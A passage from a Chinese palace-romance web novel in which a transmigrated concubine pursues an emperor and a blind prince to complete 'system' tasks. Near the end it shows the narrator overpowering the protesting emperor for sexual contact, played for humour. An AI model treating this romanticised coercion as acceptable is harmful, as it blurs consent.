秦玦不解道:“有御医为什么要忍?”
因为我日常硬凹体贴柔弱小白花人设,你就非得多嘴问这一句吗?
我靠在秦玦的肩上,委屈,蹭蹭。
他缓缓抬起手,在我、李居怀以及一屋子熊惊恐的眼神中,放在我毛茸茸的头顶。
摸了摸。
“不好好在床上睡,活该!”
他语气很硬,像是交代要砍掉我的脑袋。
“朕要走了,你歇着吧。”
!
肇事者想要逃逸!
我的脑子里警钟大作,“那皇上什么时候再来?”
秦玦咳嗽了一声,眼神移至别处,“朕平时比较忙,有时间的话......会来看你。”
呵呵,我这是游乐场还是动物园。
真当你是看猴的大爷啊。
我拽住秦玦玄色的寝衣,暗绣的龙纹花样被抓的稀碎。
“不要!”
他甚至都没和我讲道理,微蹙着眉,“周妧,听话!”
狗才会听话,我将他扑倒在床上,摔到软软的锦被里。
“我就是不要,没有皇上,我会死的。”
这句话是真心的,你放过我,系统就不能放过我了。
秦玦的心里像是被针扎了一下,尖细的锐痛中又带着大片的酥麻,从来没有这样过,他来不及分辨,想要赶紧离开。
“你是不是疯了!你敢以下犯上?!放开朕......”
“不以下犯上又如何,后宫里有大把这样的女人,我可不想成为她们,我第一次跟着娘亲参加宫宴隔着众人偷看皇上的第一眼,就想这样对待皇上了。”
掌心下的身躯一紧,挣扎的动作停住了。
“我根本不在意自己到底是周妃还是周美人,那和我有什么关系,我只是周妧,周妧想要的是你。”
秦玦一动不动仿佛脱力,美丽的凤眸中满是茫然无措,他的指尖扣在锦被上,甲片泛白。
想要的是他。
“朕还要上朝。”
……你可真是个好皇帝。
我装死耍赖,“不要,就不!”
“你以为你能跟朕讲条件,赶紧滚开。”
“不嘛,不嘛,皇上再陪我一会儿。”
“你起来,否则朕传宫正司的人来拉你了,砍你的头,把你五马分尸!”
她依旧压在自己的身上,这时候倒是不怕死了,秦玦恨的牙痒痒,最终只能道:
“起来,朕满足你一个要求。”
我麻溜地从他身上爬了起来,速度之快令人叹为观止。
“皇上说真的?”
秦玦:“……嗯。”
他坐了起来,认真的看着我,眼睛里漾开不明的色彩,荡起一圈圈涟漪。
像是冰封万里的湖面上被投入一枚细小的石子,锋利,尖锐,难以招架,势如破竹,轻易击穿了坚固的屏障,殊不知绵绵的爱意与淬毒的利箭无异,堕落的终点是地狱。
我注视着他的眼睛,“那皇上就满足我的一个心愿吧。”
视线下移,落在秦玦绯色艳丽的唇上。
终于步入正题了。
“我想看皇上笑一个。”
他想推开我,却反而被我钻进了掌心,“皇上,您答应了的。”
她到底要干什么?
秦玦只觉得头疼,不得不面对。
他扯了扯嘴角,含蓄地意思了一下。
系统:......
妈的秦玦,你玩我呢?这也太不够意思了吧!
拖着被你踩伤的瘸腿上蹿下跳了这么久,一个假笑就想打发我。
你真当我是叫花子呢!
我又开始撒泼耍赖:“不行,这太勉强了,要皇上真心的,你可不能敷衍我。”
他又加深了一点弧度,我发誓是一点,不拿显微镜都看不出的那种。
就他端庄,就他好面,就他放不开!
好烦,我出五毛,能不能一键把这种男人从世界上都清理掉。
我撇了撇嘴,作势要哭,“皇上和我在一起不开心吗?皇上不喜欢我吗?”
“我......”秦玦眼里闪过一丝茫然。
“不要不要,这都不是真心的,皇上敷衍我!”
他纠结为难,看着内殿里满满当当的人,心里的那口气堵得更厉害。
“都滚出去!”
李居怀又带着那群熊麻溜的退了出去,临走前还看了我一眼。
里面是一言难尽的意味不明。
看什么看!这都是我应得的。
我凶狠地瞪回去,看着他赶忙低头带着人落荒而逃。
“过来,”秦玦看着磨磨蹭蹭东张西望的我,“怎么?怕了?”
我笑了,你别怕就行。
我坐到了他的大腿上,手指捏着他的发尾打圈,一个不留神扫到他白玉无瑕的脖颈,红了一片。
“皇上,”我的手指勾勒着
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他精致的唇线,慢悠悠地在唇瓣上反复摩擦,“皇上留我一个人,想干什么呀?”
秦玦喉结滑动,不自觉地绷紧身子,这女人的眼神怎么能如此......
下流。
他眼神暗了暗,哑了声音,“你猜?”
我倾身浅尝,像是咬了口灌木丛中靡艳的浆果,汁水充盈丝丝甜腻,沁人心脾。
“嗯......”秦玦没忍住哼了一声,眼尾都打红了。
更像个熟透的果子。
我挑起一根手指戳了进去,在温暖滑腻中徐徐前行。
不时触碰到懵懂羞怯的舌尖。
他长睫抖动的更加剧烈,黑盈盈的眸子水光流转,好看死了。
温度被搅动的越来越高,一方在得寸进尺,另一方承受着,水色若隐若现,在靡红中翻转。
尊贵被侵犯,还如何遥不可及。
秦玦蓦地反应过来我在做什么,眼神恢复了清明,变得冰冷凶狠,使劲,尖利的牙齿压下,如愿让铁锈味在口中散开。
我尖叫着抽出手,上面还在滴滴答答的流着血珠。
大夫!大夫!我要打狂犬疫苗!
系统!看见了没有?!这可都是工伤!!!
“皇上咬我做什么?!”
“咬你?”秦玦抹去唇边被带出的银丝,“朕没剁了你的手都算仁慈了,你是什么东西,也敢这样冒犯朕。”
我吹了吹流血的手指,凭什么福让它享,罪让我受。
“皇上亲起来太甜了,我不过是一个没忍住,就没忍住摸了摸,要不咱继续亲,这次我一定不动手。”
秦玦一噎,瞪着我,“下次再敢放肆,不清楚自己的身份,朕必重罚。”
罚就罚呗,只要你敢生气,我就敢道歉!
“宠?”我环住他的脖子,用力压着他柔顺光亮的发丝,满意地看着他眼中涌出一抹痛色。
君子报仇,越快越好。
“我就知道皇上喜欢我。”
压着他又腻歪了一阵,时间拖到不能再拖,十八般武艺齐上阵,任务还是没有完成。
忙了一早上的我疲倦地趴在一旁看侍女给皇上绾发,长发束起,人家又变成了高高在上铁面无私的帝王。
真是人靠衣衫马靠鞍。
晚上的时候他可不是这样的。
他淡淡地扫了我一眼,像是看一个终于释放完精力的不懂事小孩。
日,这时候还要沾我的光。
但我心累,实在懒得和他计较。
我一安静,两人之间就冷了下来。
看来今天又没戏了。
要不还是考虑一下怎么把他从龙椅上拉下来我坐上去吧。
他被簇拥着走到门口,我悻悻的站在原地并没有上前。
这应该不合规矩,计较起来是要受罚的。
不过。
去他妈的规矩,忙到现在一根毛都没能从秦玦身上薅下来。
要是我有炸药,非把他和皇宫一起炸上天不可。
秦玦走着走着停了下来,他站在光亮中微微回头。
光打在他的身上,让他变得金光闪闪。
你们颜值高的就喜欢炫耀是吧,我心安理得地欣赏着,估摸着自己又能因为这个美丽的世界多活几年。
距离不远不近,他模糊的侧颜不甚真切,但系统的声音清晰响在耳边。
“周妧,第二个任务完成。”
那一天,我坐在海棠树下的石桌前心不在焉,死活也想不出他究竟为何生出了真心。
但我打听到了宫里有几片种野菜的地方,距离天子的大殿很远,希望他以后不会嫌累。
8. 用破碎的她完成任务
几天过去了,秦玦没再踏足过后宫,也没恢复我的位分,我还是被流放在玉阳宫,保持一种半拘留的状态。
这次我长了教训,暂时没打算接任务,谁知道系统那狗会不会直接让我争皇后宝座。
不过歇了几天,人就松了下来,没有了那种刀架在脖子上的紧迫感。
让本就好吃懒做的我更加好逸恶劳。
太后几次想要召见我,都被我以承宠过度还在恢复的理由推拒了。
自从御医亲眼见到数代医学大能的理论研究在我身上完全失效后,他就开始摆烂,哪怕我刚绕玉阳宫跑十圈后说自己命不久矣,他都不会说一个不。
所以就按我交代的一五一十的把我身子不好的话转告给太后。
白天睡多了,晚上就睡不着,我躲开几个宫女,跑出了玉阳宫找秦玦。
在系统提供的动态地图指引下,成功避开了巡逻的侍卫。
走得脚心发麻,才堪堪与地图上醒目的小红点重合。
“水月阁”
我在嘴里咂摸了一下这个名字,怎么感觉这么像青楼?
提气一跃,我灵活地攀上了铺琉璃瓦片的房檐,在黑夜中猫腰前行。
也不知道这里面住了谁,会不会是秦玦那厮金屋藏娇?
正走着神,脚下踢到了什么,我一个踉跄,划动胳膊稳住身形,险些掉了下去。
我回头,一道几乎与夜色融为一体的黑影抱着剑曲起条腿靠坐在房檐上。
他上半张脸蒙着面具,看不到眼睛,下半张脸白透的仿佛能够散发莹光,比他身后的月亮还要夺目。
“这位兄弟,”我的瞳孔一抖,娇躯三抖,“不会是传说中的刺客吧?”
三更半夜不睡觉飞檐走壁的除了我和变态,那就只有刺客了。
“哦?”低磁的声音响起,“遇到同行了?”
???!!!!!!!!!
你他妈还真是刺客!!!!
我拉开双臂,作势拦他,“呸,狗贼!想杀皇上,先杀了我!”
不管什么身份,敢动我的任务对象,哪怕是神仙——
神仙就算了,否则谁敢伤秦玦半边翅膀,我必毁了他整个天堂。
黑衣男人站了起来,整整高出我一个头,他右手搭上剑柄。
无声的剑势倾泻而出,瓦片上覆了层薄霜。
我扑通一声跪了下来,“大侠,你就饶了我们吧。”
虽然不能站在巨人的肩膀上,但我可以跪在屋顶。
“不是让我先杀你的吗,怎么?怕了?”
一道剑气在我脸侧划过,刺透了无意飞过的蝉,掉在我的脚边。
这就是路过的狗都要踹两脚吗?
杀鸡儆猴而已,我这人就吃这套。
想到这剑气如果偏上几寸就能打到脑袋上,那还不跟切西瓜一样,我打了个寒战,跪的更加毕恭毕敬。
尤其他还蒙着眼,不知道有没有准头。
这年头吓的不蒙眼,不吓倒蒙上了。
总结,都是装。
“大侠好功夫,想必是不屑于对一个弱女子和一个弱皇帝动手的。”
弱皇帝?
他笑了,“你说的也有几分道理。”
我小心翼翼地站起来,见他没什么反应,一点点挪动到他的身边。
“兄台带着面具如何视物?这里边边檐檐复杂的很,若是不小心绊倒摔伤了可如何是好。”
要不是看你怪强的,我非亲自给你推下去不可!
刚刚还是大侠,这会儿就变成兄台了?
他脸上笑意未减,“我用心眼。”
好端端的怎么突然骂人?合着我们这些用眼睛的人都是缺心眼呗。
不愧是刺客,伤害面广,无差别创死所有人。
我陪着笑脸,“哈哈,那兄台真是......颇有城府,心眼儿很厉害。”
他愣了一下,反应过来后笑出了声,也不过多解释,问道:“你来这儿是?”
“散心。”
晚间的风穿过,站得高,吹得冷。
我在屋顶上,不时有树叶打在头顶,荒唐的有些可笑。
他嘴角在和我说话后就没放下过,我怀疑我给了他一种逗弄傻子的快感。
“好兴致。”
我:“......”
找找自己的水准,我深吸一口气,抱拳。
“相逢即是缘,敢问兄台尊姓大名,我铭记您今日的高抬贵手,若有缘再见,也不至相忘于江湖。”
我这人不记仇,只记名字。
千万别让我有一天逮到你!
“冷八。”
“不冷。”
“......”他咳嗽了一声,“我是说我叫冷八。”
......你确实应该挺冷的。
什么玩意儿,这是人能有的名字吗?给狗叫都嫌磕碜。
“冷兄的名字挺......”我脑海中字典狂翻,“挺平易近人的。”
“天色已晚,冷兄一个人孤零零的也寂寞,不如早些离去吧。”
“寂寞,不啊,”他伸手指了指,“有他们陪着我。”
一阵风吹过,撩起我的碎发,我身上一激灵,僵硬地扭头。
好几道身影隐匿在瓦片上,这些人脸上没有遮挡,可以清楚地看到他们正冷冷地望着我们。
此情此景,我有种在梦中的荒谬之感。
难不成今天宫里开空中演唱会没通知我?
“好......好热闹......”,我讪讪的笑道。
我一定要和秦玦反应,宫里的安保系统漏洞过大。
这人都敢站在他的头顶蹦迪了!
那些侍卫都是什么花架子,强的挡不住,弱的不用挡,合着就能吓唬吓唬人。
秦玦平时还就喜欢一个人待着,至今没死,只能说是老天打盹的概率问题。
“冷兄,你是他们的头头吗?”视线移到身后虎视眈眈的那群人身上,我的两条腿都在打颤,“杀我,真的没什么成就感的。”
实在要杀,还是先杀秦玦吧。
他是皇帝先杀他。
这时,秦玦一个人从里面走了出来,李居怀赶忙上前接应。
他摆了摆手,问道:“周妧......歇下了吗?”
还没,你抬抬头说不定就能瞧见我了。
李居怀点了点头,“应当歇下了,周美人睡的比较早,皇上要去玉阳宫吗?”
秦玦沉吟,“罢了,回勤政殿吧。”
......这个无情的男人。
等等,他不会是“吃饱”了才出来吧?
我看着远去的帝王仪仗,耳畔传来冷八的声音,“人都走了,你还留在这儿干嘛?”
“谁说我是来找皇上的,”我看着最里面紧闭的房门,“我是来找住在这儿的人的。”
让我看看这小妖精有多好看,秦玦敢喜欢她,以为我不敢吗。
“行,那你去吧。”他挥挥手,找了个舒服的位置坐了下来。
“你,还要守在这儿吗?”我疑惑的看着他。
“对啊,我们刺客都比较喜欢晒月亮。”
“......”
宫里人就是不一样。
很小众的爱好,不理解,但尊重。
女人的身影一晃,很快就在尽头跳了下去,猥琐地贴着墙根阴暗偷窥。
冷八抬起头,不再关注底下的动静。
“大人,”一黑衣人传声,“咱们怎能就这么放她走了?”
“记住,咱们的任务是保护淮南王,至于其余的,我可什么都没看见哦......”
周美人,祝你好运。
银衣男子坐在桌前,晃动的烛火投在没有焦距的眼睛里。
像是吞噬光亮的浓雾。
他嘴角轻扬,比四月的细雨微风还要温柔,“既然来了,就进来吧。”
我严重怀疑这里的人身上都装了感应装备,一个个的不去当警犬真是可惜了。
“原来这里住的是你啊,大人。”
我推开门,走到他的身边。
“你找了过来,难道不清楚这里住的是谁。”
要是知道这里面住的是谁我就不来了,不对,是你的话还得来。
毕竟你可是移动的积分。
他纤长的手指执起空茶杯斟茶,动作行云流水,比我
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这个长了眼睛的还要利索。
“坐吧。”
正好刚才和那个冷七冷八的聊得口干舌燥,我不客气地甩开膀子一阵牛饮。
“抱歉啊大人,失礼了,我实在是渴的太厉害。”
他完全不在意,好看的眼睛准确地投在我的方向,如果不仔细,还真难以相信这是一个眼盲之人。
“没关系,如果很渴的话,就多喝几杯吧。”
好温柔,要是秦玦像他一样就好了,我也不至于遭这老罪。
对了,秦玦。
我猛地想起进来的目的,看着对面摆放的空茶杯。
显然,这里刚才有过其他客人。
这万俟镜到底是什么人,他和秦玦有什么关系?
算了不重要。
反正他们迟早都是我的人。
“这么晚了,我会不会打扰到大人?”
我低着头,无措地把玩手里的杯子,很怕给别人添麻烦的样子。
万俟镜安慰道:“不会,我平时睡的也不早,不是这些事就是那些事。”
我:“什么觉需要大人亲自睡?”
万俟镜,“......”
我道:“我的意思是,大人的床一定很幸福。”
我,“......”
什么时候,我这个一见美人就秃噜嘴的毛病才能好。
“不过大人无事的时候最好早些歇息。”
万俟镜:“……为什么?”
“早睡了心情才会好,晚上总是容易让人伤感。”
呸,只有凌晨两点的月亮才是最迷人最让人开心的,那才是属于年轻人的正常作息。
一时熬夜一时爽,一直熬夜一直爽。
“是吗?其实白天晚上对我来说都一样,我看不见的。”
他素白的手指上布着几道细长的伤口,像是某种尖刺划过留下的,已经结痂了。
我轻轻摸了摸那些伤口,“您想不想知道我长什么样?”
他“注视”着我,既没点头也没摇头。
一般这种情况我都会视为害羞的默认。
我握住他薄瘦的手腕,将掌心贴在我的脸上,寸寸抚过。
眉毛,眼睛,鼻子,嘴巴。
万俟镜的手仿佛摸了团火焰般收回,“你是个姑娘,这样不合规矩。”
要是你真觉得不合规矩就不会在第一次见到的时候任凭我靠近,就不会在接到我的花的时候露出那样的表情。
我表情轻快,语气却沉了下来,“我讨厌规矩,讨厌这个吃人的皇宫。”
“你......”万俟镜欲言又止。
我长长呼出一口气,喉头哽咽。
“我爹是个赌鬼,娘常年卧病在床,弟弟还需要去私塾读书,走投无路,才被家里送到了皇宫。”
“那你......恨吗?你怨恨他们吗?”万俟镜的眼睛又落回了烛火,语气很轻。
“会啊,所以我不听他们的,不给他们寄钱,每次发了月钱,我都会拖出宫采办的小公公们给我带好几串糖葫芦,酸酸甜甜的,可好吃了。”
万俟镜笑了,他低下头,手指轻轻攒在一起摩挲。
“再不认命,你也已经进宫,没有自由。”
果然十个病美人九个致郁系。
我开口:“在外面也没有自由啊,像我这么大的,都得配给屠户农夫拿回几吊钱的聘礼好补贴家用,然后就是生孩子洗衣做饭伺候公婆丈夫再生孩子,一辈子寄希望于老了享儿女的福。”
万俟镜了然道:“如此说来,都是苦苦挣扎罢了。”
“不是,”我捏了捏他有些冰凉的指尖,“我进了宫,干完自己的活就可以休息,晚上还能躺回床上看画本,有时候主子们赏了好吃的糕饼点心还可以藏起来慢慢吃,那可是在外头一辈子都摸不着的吃食。”
万俟镜认真地听着,没有插话。
估计是头一次听到好赌的爸生病的妈上学的弟弟和仍不破碎的她。
我就这么摸着他的手,笑话,上门的便宜,不占白不占。
在我趁他发呆里里外外把油揩了个干净后,他突然反握住我的手。
“你是哪个宫的宫女?”
9. 用淮南王完成任务
男人像是数学题,复杂的背后有固定的套路。
情场混久了也能百步穿杨。
我看着万俟镜抓着我的手,目前我和他的距离还有50的好感度。
“玉阳宫。”
“玉阳宫......”他小声重复了一边,抬头,“是周废妃的宫殿吗?”
这人眼瞎还不会说话,活到今天真是个奇迹。
我眼皮一跳,皮笑肉不笑地抽回手,“是,我在周美人的宫里当差。”
周美人三个字被咬的格外的重。
“哦,”他不在意地点了点头,“那应该也没什么重要的。”
我极力控制着自己想要抄起烛台给他头上来一下的冲动,“周美人挺受宠的。”
“是吗?”万俟镜神色淡淡,“那还真是挺意外的。”
……怎么会有人爱上秦玦呢。
当一个美人熟稔地谈论起另一个美人的情感领域的时候……
我就要兽性大发,联想三万字晋江不给写的东西。
我在桌子下面攥紧拳头,有必要人身攻击吗?
请问我比你差在哪?
咋的,秦玦不会喜欢我,就会喜欢你吗?!!
这到底算是从万俟镜手里撬走秦玦,还是从秦玦手里撬走万俟镜?
我心虚地给自己倒了杯茶,喝干净了茶壶里的最后一滴水。
“我要回去了。”
“不再留一会吗?”
他空洞的瞳孔依旧盯着跳动的烛火。
我誓将人设立到底,“不了,我还有两大盆衣服没洗呢。”
万俟镜不知道该说什么了。
我:“你要是也有脏衣服的话,给我两件,可以顺手帮你洗出来。”
万俟镜:“......不用了,姑娘叫什么名字?”
那当然是行不更名坐不改姓,大美女周妧是也!
“我叫......窦霓婉。”
万俟镜一顿,笑了,“好名字,和你很般配。”
靠!被撩到了!
看在这句话和这张脸的份上,我姑且原谅他今晚的没礼貌,朝万俟镜躬身行了个礼,我准备打道回府。
对他来说白天晚上都是白天,我都累了一天了……
系统冒出来纠正我,“是睡了一天了。”
那咋了,我周妧来去自由像阵风,谁敢——
......拦我?
水月阁大门前,一道黑影翘着二郎腿坐在门槛上。
他没骨头似的靠在一旁,即使看不见眼睛,也叫人觉得他在似笑非笑。
“冷八兄?”
我小声地用气音一唤,他一动不动。
我挠了挠下巴,这人坐得跟面条似的,难不成睡着了?
我静悄悄的跨过门槛,他坐的横七竖八,占地面积过大,即使非常小心,鞋底还是在他衣摆上蹭了个灰印子。
冷八:“你踢到我了。”
我:“哦,抱歉。”
我和他面面相觑:“......”
这人大剌剌的伸着长腿,就差坐路中间喝茶了。
看似很危险,实际一点也不安全。
不远处有大批巡夜的士兵,晃动的火光都可以看见。
我看着他的后脑勺,“冷八兄,你这样有点太不把皇上放在眼里了吧。”
他悠悠道:“我又不是美人,为什么要把他放在眼里。”
我差点栽倒在地,“你你你你!”
我颤抖着指着他,“你知道我的身份?”
静默的黑夜里,两个人原本几不可闻的呼吸声清晰起来。
我不受控地盯着他白到发光的后颈,很想伸手摸摸。
如果不是怕被他手中的剑劈成两截的话。
可恶,现在随随便便出门就能碰到这么好看的。
这不是对我道德的考验吗?
好在我向来没什么道德,但贪生怕死。
在我以为等不到他的回答转身准备离开的时候,身后传来一声轻哼。
“你化成灰我也认得出来。”
?干嘛诅咒人!!!
回玉阳宫的路上,我一边贴着墙根走一边满脸问号。
“系统,这个冷八没触发隐藏任务吗?”
“没有。”
“真没有吗?”我不死心,“我以为你是按颜值选人。”
虽然没有看到他的脸,但有种气场叫惊艳。
系统:“......真没有,他的存在与主线无关。”
我感慨:“唉,可惜了。”
系统惊呆了,“......蒙着脸的你都不放过?”
“啧,那他不是还露着下面的小半张脸吗,”我反驳道,“凭我多年识人的经验,他一定长得很好看,要不然不符合比例。”
“其实倒不是什么见色起意,主要我是新时代奋斗女性,事业心比较强。”
系统:“......”你自己信就好。
折腾到半夜我才终于睡了过去,当时间的意义都被模糊了,这日子过的......
是真的爽。
又梦到了那个帅气的小狼狗。
他坐在树上招手,待我走近,向下扔了个梨。
我一脸痴汉样的接在手心,放在嘴边咬了一口。
他笑意吟吟地看着我,悠闲地荡起了双腿。
裤腿随动作撩开,露出瓷白纤细的脚踝,银铃“叮叮”作响。
“周妧。”
嗯,真甜。
我咔哧咔哧的把整个梨啃的干干净净,吃完后还是口干舌燥。
下次不吃梨了,上火。
我收好小的快捏不住的果核,打算找个好日子晒干,想着怎么也能泡水再喝上个三年五载的。
“美人,美人......”遥远处一阵声音呼唤我。
树上的小帅哥咬唇,满脸怨念不情愿地看着我。
“周妧,你是一个大骗子!”
我刚想出言再骗他几句,四周开始剧烈晃动直至模糊。
闭上眼,再睁开。
绿柳的脸在眼前放大,嘴里还在“美人、美人”的叫着。
我麻木地擦了擦流到脸上的口水,一定是梦里的梨太甜了。
“不是说过吗,不要叫我起床。”
不能睡到自然醒的人生还有什么意义。
绿柳为难道:“奴婢知道,只是……”
我露出个标准的霸道微笑,“女人,你最好给我个合理的解释。”
绿柳小脸一红,低着头,“是,是淮南王殿下的人来了。”
我盯着羞涩的绿柳,霸总有市场不是没原因的,还真有女人吃这套,这得多没见过世面啊。
我扯过枕头靠着,“淮南王?那谁?”
绿柳焦急道:“美人您忘了,上次我就是跑到淮南王殿下的水月阁把皇上请过来的。”
“哦,水月阁,”我一个咕噜从床上跳起来,“啊?什么?!水月阁?淮南王的水月阁!淮南王是万俟镜!!!”
乖乖,一时不知是该感慨万俟镜来头大,还是秦玦胆子大。
他俩是真不怕被人说闲话啊。
这难道就是所谓的真爱?
我晃了晃脑子,里面的黄色废料又激增三万字。
和我有什么关系,我又不是来拆散他们的,我是来加入的。
绿柳被我的反应吓了一跳,“对、对啊,美人认识他?”
我恍恍惚惚地点了个头,然后猛地一机灵,“万俟镜和秦玦真的有一腿吗?”
绿柳被我的话吓了一跳,反应过来上前一步捂住我的嘴,急得哭了出来。
“哎呦我的美人,说这话可是要杀头的。”
我拉下她的手,“这不是就说给你听听嘛。”
等绿柳帮我梳洗打扮的差不多,我就差人将那传话的叫了进来。
隔着玉屏风,彼此瞧的都不真切,为日后保护我的小马甲省了许多麻烦。
我扶正发簪,“不知淮南王有何吩咐。”
那人鞠躬作揖,“周美人言重了,淮南王府新得了几块品质极佳的宝石,想着美人或许会喜欢,就......”
我咳了两声,“可我和淮南王没什么交情啊。”
这么好的东西,秦玦居然给他不给我!
“淮南王想向美人讨要一个人。”
他说的是请求,语气却没多恭敬。
我浑不在意,“谁?”
他字句清晰,“玉阳宫的宫女窦霓婉。”
绿柳疑惑地看着我,“美人......”
我知道她想说什么,玉阳宫哪有什么叫窦霓婉的宫女。
逗你玩呢,傻子。
我语气为难,“这,不合适吧,霓婉怎么也算我的心腹。”
屏风后的男人动作一顿,略微提高音量,“周美人的意思是不肯了?”
我站起来走了几步,“玉阳宫里除了霓婉外其他奴才都毛手毛脚的,三天两头打碎东西,我这宫里倒是缺了不少拿得出手的瓷器摆件。”
他眼角抽了抽,不可置信道:“那美人的意思是......让淮南王府添?”
这周美人如此贪财,哪像是个出身将门的大家闺秀?
周将军疯了还是皇上疯了,居然会让这样的人留在后宫!
我语调轻快,“淮南王美意,我倒不好拒绝,那就有劳王府了。”
“那窦姑娘?”
“大人放心,明日您就可以将人领走。”
他松了口气,“多谢美人割爱了。”
周美人割爱,他们淮南王府就得割肉。
区区一个小宫女,竟敢如此狮子大开口。
“等等!”
我叫住了马上就要踏出殿门的男人。
“美人还有何事?”
“把那几块宝石拿过来,趁今天有时间,我看看镶在哪儿好看。”
他深呼吸,强颜欢笑,“......这是自然,美人开心就好。”
人走了,宝石匣子搁到了我的梳妆
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台上。
绿柳忧心忡忡,“美人,咱们宫里哪有什么窦姑娘,您收了淮南王府这么多礼,明天该如何是好?”
我摆弄着匣子里璀璨耀眼的宝石,一会儿摸摸这个,一会儿扣扣那个。
“船到桥头自然直。”
左口袋进,右口袋也进。
真是赚翻啦!
绿柳叹口气走了出去,闷着头把整个玉阳宫上上下下里里外外打扫的干干净净。
其他的几个杂役小宫女小太监尴尬的站成一排。
“绿柳姐姐......”
“嗯?”
绿柳爬爬爬,擦擦擦。
“你都干完了,我们干什么呀?”
绿柳头都不抬,“你们去歇着吧。”
众人:“......”
你是掌事宫女你说了算。
晚膳送上来,我吃了个七七八八,挑了一两道没动的糕点让绿柳给我装进了食盒里。
绿柳在食盒里一层一层摆出花样,“美人,你刚才不是说这些不太好吃吗?”
看破不说破,你就非得这么好奇吗?
这些当然不是给我吃。
拿着前几天从秦玦身上捡到的玉佩,我和绿柳成功走到宣晖殿外。
“李总管!”
李居怀听到有人叫自己,定睛一看,惊了一下。
“周美人?您怎么来这儿了?”
他压低声音,“您不能到处跑啊,皇上最讨厌嫔妃们到这儿找他。”
我扬了扬手里的玉佩,“李总管不用担心,是皇上说我想什么时候来就什么时候来的。”
“这不是前几天皇上丢的吗?”他看了看玉佩,又看了看我,“怎么会在美人手里?难道是美人拿的吗?”
皇家图腾非同小可,为着这个事李居怀几乎带人把宫里翻了个底朝天。
就是没想到居然有人敢光明正大地偷,再大言不惭的说是皇上送的。
淦,你们在找也不贴个告示啥的,这样我还能换一块啊。
我保持得体的微笑,“那就是我记错了,李总管不要担心,我马上去还给皇上。”
他伸手想拦却被我灵活地躲开,我蹿进宫殿里,找了个阴暗的视线盲区,将玉佩塞回身上。
“皇上,我来找你啦!”
秦玦放下笔,转了转手腕,没什么太多的表情。
“有事?”
“当当当当!”我把食盒放在他的面前,一层层打开,“深夜食堂,热心小周已上线,竭诚为您服务。”
“什么乱七八糟的,”秦玦瞥了一眼,讽刺道,“你特意过来,就是把你不爱吃的剩糕点带给朕?”
“还真是没叫朕失望啊。”
靠,你怎么知道的?
不是说宫里人走路眼只看脚下的三块地砖,周围发生地震都不知道的吗。
还好昨天我控制住没对冷八和万俟镜动手。
系统,“。”
是你抱头鼠窜人家才没对你动手吧。
我满脸委屈,“皇上冤枉我了,我就是估摸着皇上会喜欢才特意省下来带给您的。”
“那还真是巧了,”他黑眸紧盯着我,“一桌子菜,好吃的都是你喜欢,不好吃的就我喜欢。”
秦玦掌心向上,勾了勾手。
我不明所以,从食盒里挑了块相对完整的白玉糕放在他的手里。
秦玦:“......”
“把我的玉佩还给我。”
这狗在玉阳宫装了监控,绝对的!
我哼哼唧唧地装傻:“皇上在说什么呀?”
秦玦懒得理睬,冷漠道:“玉佩和五十大板,你选一个吧。”
“......”秦玦我日你大爷!
家暴男永世不得超生!
我道:“皇上就给我留一个念想吧,您不在的时候它留在我身边还可以睹物思人。”
扔掉放上去的糕点,我低头在他掌心亲了亲。
“皇上就把那块玉佩留给我吧,我保证收好,既不会弄丢也不会另作它用。”
那可是我攒下来打算带回现代享受生活的,我的命丢了宝贝也不能丢。
秦玦推开我靠近的脸,“不止一枚。”
他妈的,你真是一点秘密也不给我留啊。
我继续哼哼唧唧的在他胸前乱拱耍赖。
拱着拱着,两个人就滚到了龙床上,非常顺其自然。
应该,大概。
总不能是我拽着人跑到床上的吧。
那如果他不愿意我也不敢硬拽啊。
综上,全赖秦玦。
但我会原谅他。
被推倒在床上,秦玦眼前飘过暗红的床幔。
日日都看的颜色,只今日红的格外厉害。
他脑子里胡乱地想起了自己批了一半的奏折,刚想说放肆,斥责就被尽数堵回腹中,就连口中的空气都被夺走。
秦玦阵阵眩晕。
感官接连受刺激。
他觉得他要疯了。
10. 用离开皇宫完成任务
一个人在自己家的时候到底为什么不直接穿睡衣。
脱到第三件,我的兴致就被磨掉一半了。
前几次秦玦去玉阳宫的时候也穿得这么复杂吗?
没有吧,当时觉得挺好脱的。
好啊,他是不是故意勾引我。
现在的美人都这么有心机,真叫我这个流氓没有用武之地!
停下手上的动作,我又咬上了那片水润的红唇。
他的手搭在我腰上收紧,配合的吞咽,他闭着眼毫无防备,我悄悄放出獠牙。
血腥味玷污了津甜,秦玦并没有什么额外的反应,好似被咬的是别人一般。
我抬起头,视线落在他身上。
......
啊啊啊啊啊,受不了了,这衣服怎么这么麻烦!
我恨道:“好讨厌!”
“你说什么?”秦玦睁开了眼睛。
我强调:“我说你的衣服好讨厌,穿的什么啊这是!”
他笑了,上齿刮蹭了沾湿的下唇,轻飘飘的推了推我。
“解不开,要不就算了。”
!
算了?什么算了!谁算了!
“皇上,您就瞧好吧。”
我跨坐在他身上,撸起袖子,像个强抢良家妇女的恶霸。
因为过于着急,有几次我的指甲都狠狠的刮在了他的身上。
秦玦抽了几口冷气,狠狠地瞪了我一眼,伸手解开了自己的衣衫,很快只剩玄色的里衣和影影绰绰的玉质肌理。
我的脑海中突然浮现出一朵荼白的山茶花。
圣洁,美丽,决绝。
让人忍不住想摘下来。
我吻上他的耳垂,一路而下。
像是轻柔的细雨落在身上,秦玦忽地有些冷意,冷到了灵魂深处。
他想起身把女人压在身下,却怎么推都推不动。
?
秦玦的表情出现一瞬的扭曲,周妧又给他使了什么邪术?!
我的手顺着他的腰线滑下去,略长的指甲在隐秘地带一划。
白玉般的躯体猛地一抖,秦玦的瞳孔放大。
使用了找系统兑换的道具“力量交换”后,我感觉自己前所未有的强大。
这次本来就不是送上门给人白吃的,明天我就要悄悄出宫了,有些问题需要提前解决。
以防这十天半个月里秦玦去玉阳宫找我。
力壮怂人胆,我逐渐向下摸到秦玦的命脉。
他攥住我的袖子,向外拉,“周妧...…不行......你敢!”
中学的生物课上男女身体构造的生理结构图总是在老师躲闪的眼神中、班里几个调皮的男同学的起哄中被飞快的翻过。
但我的生理知识都是在实践中手把手学会的。
不一定科学,但一定有效。
我按着秦玦仔细地把那个我没有的东西上下摸了个透。
头两次太仓促,还黑着灯,没来得及和新朋友打招呼。
真是......得天独厚啊他。
是个极品,即便我不愿意承认,这么好的,还真的很少遇见。
秦玦咬牙看着我,不为所动。
这抹似仙似魅的艳气在我抽出一条红绸带时依旧高高在上。
他盯着我的手,并不理解,“你要干什么?”
秦玦看着身前的人缓缓抬头,她在笑,黝黑的眸子里却罕见的没有任何情绪。
像是口干涸多年的枯井。
他知道,他应该是看到了真实的她。
